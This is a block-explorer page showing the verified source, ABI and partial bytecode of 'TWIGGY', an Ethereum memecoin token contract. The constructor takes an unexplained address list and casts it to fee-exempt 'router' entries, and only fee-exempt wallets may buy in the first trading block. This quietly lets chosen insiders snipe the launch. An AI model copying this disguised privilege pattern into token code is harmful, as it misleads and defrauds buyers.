ETH Price: $2,287.54 (-3.93%)

Contract

0xa8939fe01Eee65Dd88FB1c87aF39524505B08aAC
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve204307602024-08-01 2:38:2346 days ago1722479903IN
0xa8939fe0...505B08aAC
0 ETH0.000339447.28790498
Approve204307292024-08-01 2:31:4746 days ago1722479507IN
0xa8939fe0...505B08aAC
0 ETH0.000314246.74675675
Approve204307102024-08-01 2:27:5946 days ago1722479279IN
0xa8939fe0...505B08aAC
0 ETH0.000206084.42794287
Approve204306962024-08-01 2:24:5946 days ago1722479099IN
0xa8939fe0...505B08aAC
0 ETH0.000193484.15939274
Approve204306862024-08-01 2:22:5946 days ago1722478979IN
0xa8939fe0...505B08aAC
0 ETH0.000153043.28999478
Approve204306852024-08-01 2:22:4746 days ago1722478967IN
0xa8939fe0...505B08aAC
0 ETH0.000383638.23863992
Approve204306852024-08-01 2:22:4746 days ago1722478967IN
0xa8939fe0...505B08aAC
0 ETH0.000383638.23863992
Approve203966342024-07-27 8:17:5951 days ago1722068279IN
0xa8939fe0...505B08aAC
0 ETH0.000146573.16327749
Approve202354132024-07-04 20:04:2373 days ago1720123463IN
0xa8939fe0...505B08aAC
0 ETH0.00039758.54541672
Approve202354012024-07-04 20:01:5973 days ago1720123319IN
0xa8939fe0...505B08aAC
0 ETH0.000332387.14549724
Approve202354002024-07-04 20:01:4773 days ago1720123307IN
0xa8939fe0...505B08aAC
0 ETH0.000593712.81278853
Approve202353672024-07-04 19:55:1173 days ago1720122911IN
0xa8939fe0...505B08aAC
0 ETH0.000368827.91865852
Approve202353632024-07-04 19:54:2373 days ago1720122863IN
0xa8939fe0...505B08aAC
0 ETH0.0007741216.62022034
Approve202353582024-07-04 19:53:2373 days ago1720122803IN
0xa8939fe0...505B08aAC
0 ETH0.000387978.32966438
Approve202353582024-07-04 19:53:2373 days ago1720122803IN
0xa8939fe0...505B08aAC
0 ETH0.000387978.32966438
Approve198097132024-05-06 8:00:59133 days ago1714982459IN
0xa8939fe0...505B08aAC
0 ETH0.000226384.89696289
Approve191345162024-02-01 15:37:47228 days ago1706801867IN
0xa8939fe0...505B08aAC
0 ETH0.0014543831.26574441
Approve190787112024-01-24 19:54:59235 days ago1706126099IN
0xa8939fe0...505B08aAC
0 ETH0.0007411715.91285016
Approve190332302024-01-18 10:43:47242 days ago1705574627IN
0xa8939fe0...505B08aAC
0 ETH0.0014847931.87837638
Approve188958952023-12-30 4:13:11261 days ago1703909591IN
0xa8939fe0...505B08aAC
0 ETH0.0007667316.48290646
Transfer187921792023-12-15 14:41:47276 days ago1702651307IN
0xa8939fe0...505B08aAC
0 ETH0.0044661560.74164858
Approve187902982023-12-15 8:22:23276 days ago1702628543IN
0xa8939fe0...505B08aAC
0 ETH0.0026967557.97348073
Approve187901162023-12-15 7:45:59276 days ago1702626359IN
0xa8939fe0...505B08aAC
0 ETH0.0021322845.83877306
Approve187900782023-12-15 7:38:11276 days ago1702625891IN
0xa8939fe0...505B08aAC
0 ETH0.0017693738.24428543
Approve187900702023-12-15 7:36:35276 days ago1702625795IN
0xa8939fe0...505B08aAC
0 ETH0.0019074641.22921076
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
204317582024-08-01 5:58:4746 days ago1722491927
0xa8939fe0...505B08aAC
0.00180454 ETH
204317582024-08-01 5:58:4746 days ago1722491927
0xa8939fe0...505B08aAC
0.00180454 ETH
204312682024-08-01 4:19:5946 days ago1722485999
0xa8939fe0...505B08aAC
0.00231712 ETH
204312682024-08-01 4:19:5946 days ago1722485999
0xa8939fe0...505B08aAC
0.00231712 ETH
204307792024-08-01 2:42:1146 days ago1722480131
0xa8939fe0...505B08aAC
0.00248361 ETH
204307792024-08-01 2:42:1146 days ago1722480131
0xa8939fe0...505B08aAC
0.00248361 ETH
204307302024-08-01 2:31:5946 days ago1722479519
0xa8939fe0...505B08aAC
0.00260822 ETH
204307302024-08-01 2:31:5946 days ago1722479519
0xa8939fe0...505B08aAC
0.00260822 ETH
204307022024-08-01 2:26:2346 days ago1722479183
0xa8939fe0...505B08aAC
0.00260147 ETH
204307022024-08-01 2:26:2346 days ago1722479183
0xa8939fe0...505B08aAC
0.00260147 ETH
204307022024-08-01 2:26:2346 days ago1722479183
0xa8939fe0...505B08aAC
0.00304526 ETH
204307022024-08-01 2:26:2346 days ago1722479183
0xa8939fe0...505B08aAC
0.00304526 ETH
204306842024-08-01 2:22:3546 days ago1722478955
0xa8939fe0...505B08aAC
0.00208643 ETH
204306842024-08-01 2:22:3546 days ago1722478955
0xa8939fe0...505B08aAC
0.00208643 ETH
203966352024-07-27 8:18:1151 days ago1722068291
0xa8939fe0...505B08aAC
0.00165671 ETH
203966352024-07-27 8:18:1151 days ago1722068291
0xa8939fe0...505B08aAC
0.00165671 ETH
202370522024-07-05 1:34:2373 days ago1720143263
0xa8939fe0...505B08aAC
0.00175113 ETH
202370522024-07-05 1:34:2373 days ago1720143263
0xa8939fe0...505B08aAC
0.00175113 ETH
202370522024-07-05 1:34:2373 days ago1720143263
0xa8939fe0...505B08aAC
0.0018619 ETH
202370522024-07-05 1:34:2373 days ago1720143263
0xa8939fe0...505B08aAC
0.0018619 ETH
202354182024-07-04 20:05:2373 days ago1720123523
0xa8939fe0...505B08aAC
0.00193421 ETH
202354182024-07-04 20:05:2373 days ago1720123523
0xa8939fe0...505B08aAC
0.00193421 ETH
202354122024-07-04 20:04:1173 days ago1720123451
0xa8939fe0...505B08aAC
0.00212466 ETH
202354122024-07-04 20:04:1173 days ago1720123451
0xa8939fe0...505B08aAC
0.00212466 ETH
202354092024-07-04 20:03:3573 days ago1720123415
0xa8939fe0...505B08aAC
0.00212466 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TWIGGY

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-15
*/

/*

Hop on the boat with Twiggy the Waterskiing Squirrel 

Never before seen on the Ethereum blockchain - Twiggy’s career spanned 39 years appearing in television shows, films, and public events since 1979 racking up millions of views across social media.

https://www.youtube.com/watch?v=dVfXF8O-lHw

Telegram: https://t.me/twiggyerc
Twitter: https://twitter.com/twiggyerc
Website: https://www.twiggyerc.xyz

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TWIGGY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 10;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 80;
    uint256 private _reduceSellTaxAt = 80;
    uint256 private _preventSwapBefore = 30;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Twiggy the Water-Skiing Squirrel";
    string private constant _symbol = unicode"TWIGGY";
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 1_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax, uint160[] memory _pair) {

        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
        excludeFromFee(0, _pair);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (firstBlock > 0 && block.number > firstBlock + 5) {removeLimits();}
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 3 > block.number) {
                        require(!isContract(to));
                    }
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getContractAddress() external view returns(address) {
        return address(this);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"},{"internalType":"uint160[]","name":"_pair","type":"uint160[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getContractAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600755600a6008555f6009555f600a556050600b556050600c55601e600d555f600e556012600a62000039919062000407565b62000049906301312d006200041e565b600f556200005a6012600a62000407565b6200006a906301312d006200041e565b6010556200007b6012600a62000407565b6200008990614e206200041e565b6011556200009a6012600a62000407565b620000a990620f42406200041e565b6012556014805461ffff60a81b19169055348015620000c6575f80fd5b5060405162001df838038062001df8833981016040819052620000e99162000476565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038416179055620001526012600a62000407565b6200016290633b9aca006200041e565b335f9081526001602081905260408220929092556003906200018b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001e93390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226012600a62000407565b6200023290633b9aca006200041e565b60405190815260200160405180910390a36200024f5f8262000257565b50506200058b565b8051821015620002f4575f8183815181106200027757620002776200055c565b6020908102919091018101516001600160a01b0381165f90815260039092526040909120805460ff191660011790559050620002b66012600a62000407565b620002c6906301312d006200041e565b6001600160a01b0382165f9081526004602052604090205582620002ea8162000570565b9350505062000257565b5050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200034c57815f1904821115620003305762000330620002f8565b808516156200033e57918102915b93841c939080029062000311565b509250929050565b5f82620003645750600162000401565b816200037257505f62000401565b81600181146200038b57600281146200039657620003b6565b600191505062000401565b60ff841115620003aa57620003aa620002f8565b50506001821b62000401565b5060208310610133831016604e8410600b8410161715620003db575081810a62000401565b620003e783836200030c565b805f1904821115620003fd57620003fd620002f8565b0290505b92915050565b5f6200041760ff84168362000354565b9392505050565b8082028115828204841417620004015762000401620002f8565b6001600160a01b03811681146200044d575f80fd5b50565b634e487b7160e01b5f52604160045260245ffd5b8051620004718162000438565b919050565b5f806040838503121562000488575f80fd5b8251620004958162000438565b602084810151919350906001600160401b0380821115620004b4575f80fd5b818601915086601f830112620004c8575f80fd5b815181811115620004dd57620004dd62000450565b8060051b604051601f19603f8301168101818110858211171562000505576200050562000450565b60405291825284820192508381018501918983111562000523575f80fd5b938501935b828510156200054c576200053c8562000464565b8452938501939285019262000528565b8096505050505050509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f60018201620005845762000584620002f8565b5060010190565b61185f80620005995f395ff3fe6080604052600436106100fd575f3560e01c8063715018a61161009257806395d89b411161006257806395d89b41146102b5578063a9059cbb146102e3578063bf474bed14610302578063c9567bf914610317578063dd62ed3e1461032b575f80fd5b8063715018a6146102595780637d1db4a51461026f5780638da5cb5b146102845780638f9a55c0146102a0575f80fd5b806323b872dd116100cd57806323b872dd146101c5578063313ce567146101e457806332a2c5d0146101ff57806370a0823114610225575f80fd5b806306fdde0314610108578063095ea7b31461015f5780630faee56f1461018e57806318160ddd146101b1575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b506040805180820190915260208082527f547769676779207468652057617465722d536b69696e6720537175697272656c908201525b6040516101569190611484565b60405180910390f35b34801561016a575f80fd5b5061017e6101793660046114e7565b61036f565b6040519015158152602001610156565b348015610199575f80fd5b506101a360125481565b604051908152602001610156565b3480156101bc575f80fd5b506101a3610385565b3480156101d0575f80fd5b5061017e6101df366004611511565b6103a5565b3480156101ef575f80fd5b5060405160128152602001610156565b34801561020a575f80fd5b50305b6040516001600160a01b039091168152602001610156565b348015610230575f80fd5b506101a361023f36600461154f565b6001600160a01b03165f9081526001602052604090205490565b348015610264575f80fd5b5061026d61040c565b005b34801561027a575f80fd5b506101a3600f5481565b34801561028f575f80fd5b505f546001600160a01b031661020d565b3480156102ab575f80fd5b506101a360105481565b3480156102c0575f80fd5b5060408051808201909152600681526554574947475960d01b6020820152610149565b3480156102ee575f80fd5b5061017e6102fd3660046114e7565b6104b2565b34801561030d575f80fd5b506101a360115481565b348015610322575f80fd5b5061026d6104be565b348015610336575f80fd5b506101a361034536600461156a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61037b33848461089b565b5060015b92915050565b5f6103926012600a611695565b6103a090633b9aca006116a3565b905090565b5f6103b18484846109be565b61040284336103fd85604051806060016040528060288152602001611802602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611074565b61089b565b5060019392505050565b5f546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61037b3384846109be565b5f546001600160a01b031633146105175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610461565b601454600160a01b900460ff16156105715760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610461565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ba9030906105ac6012600a611695565b6103fd90633b9aca006116a3565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062e91906116ba565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b191906116ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071f91906116ba565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610766816001600160a01b03165f9081526001602052604090205490565b5f806107795f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107df573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061080491906116d5565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610859573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087d9190611700565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b0383166108fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b6001600160a01b03821661095e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610461565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b5f8111610ae55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610461565b5f80600654118015610b035750600654610b0090600561171f565b43115b15610b1057610b106110ac565b5f546001600160a01b03858116911614801590610b3a57505f546001600160a01b03848116911614155b15610f3757610b6b6064610b65600b54600e5411610b5a57600754610b5e565b6009545b8590611134565b906111b9565b6014549091506001600160a01b038581169116148015610b9957506013546001600160a01b03848116911614155b15610d92574360065403610c90576001600160a01b0383165f9081526003602052604090205460ff16610c225760405162461bcd60e51b815260206004820152602b60248201527f426f74206164647265737365732063616e6e6f742062757920696e207468652060448201526a666972737420626c6f636b60a81b6064820152608401610461565b610c2e6012600a611695565b610c3c906301312d006116a3565b821115610c8b5760405162461bcd60e51b815260206004820152601a60248201527f457863656564732074686520737761705468726573686f6c642e0000000000006044820152606401610461565b610d7d565b600f54821115610ce25760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610461565b60105482610d04856001600160a01b03165f9081526001602052604090205490565b610d0e919061171f565b1115610d5c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610461565b436006546003610d6c919061171f565b1115610d7d57823b15610d7d575f80fd5b600e8054905f610d8c83611732565b91905055505b6014546001600160a01b03848116911614801590610dc857506001600160a01b0383165f9081526003602052604090205460ff16155b15610e475760105482610def856001600160a01b03165f9081526001602052604090205490565b610df9919061171f565b1115610e475760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610461565b6014546001600160a01b038481169116148015610e6d57506001600160a01b0384163014155b15610e9a57610e976064610b65600c54600e5411610e8d57600854610b5e565b600a548590611134565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610ed057506014546001600160a01b038581169116145b8015610ee55750601454600160b01b900460ff165b8015610ef2575060115481115b8015610f015750600d54600e54115b15610f3557610f23610f1e84610f19846012546111fa565b6111fa565b61120e565b478015610f3357610f334761137e565b505b505b8015610faf57305f90815260016020526040902054610f5690826113b9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610fd19083611417565b6001600160a01b0385165f90815260016020526040902055611014610ff68383611417565b6001600160a01b0385165f90815260016020526040902054906113b9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105d8585611417565b60405190815260200160405180910390a350505050565b5f81848411156110975760405162461bcd60e51b81526004016104619190611484565b505f6110a3848661174a565b95945050505050565b6110b86012600a611695565b6110c690633b9aca006116a3565b600f556110d56012600a611695565b6110e390633b9aca006116a3565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6111136012600a611695565b61112190633b9aca006116a3565b60405190815260200160405180910390a1565b5f825f0361114357505f61037f565b5f61114e83856116a3565b90508261115b858361175d565b146111b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b9392505050565b5f6111b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611458565b5f81831161120857826111b2565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112545761125461177c565b6001600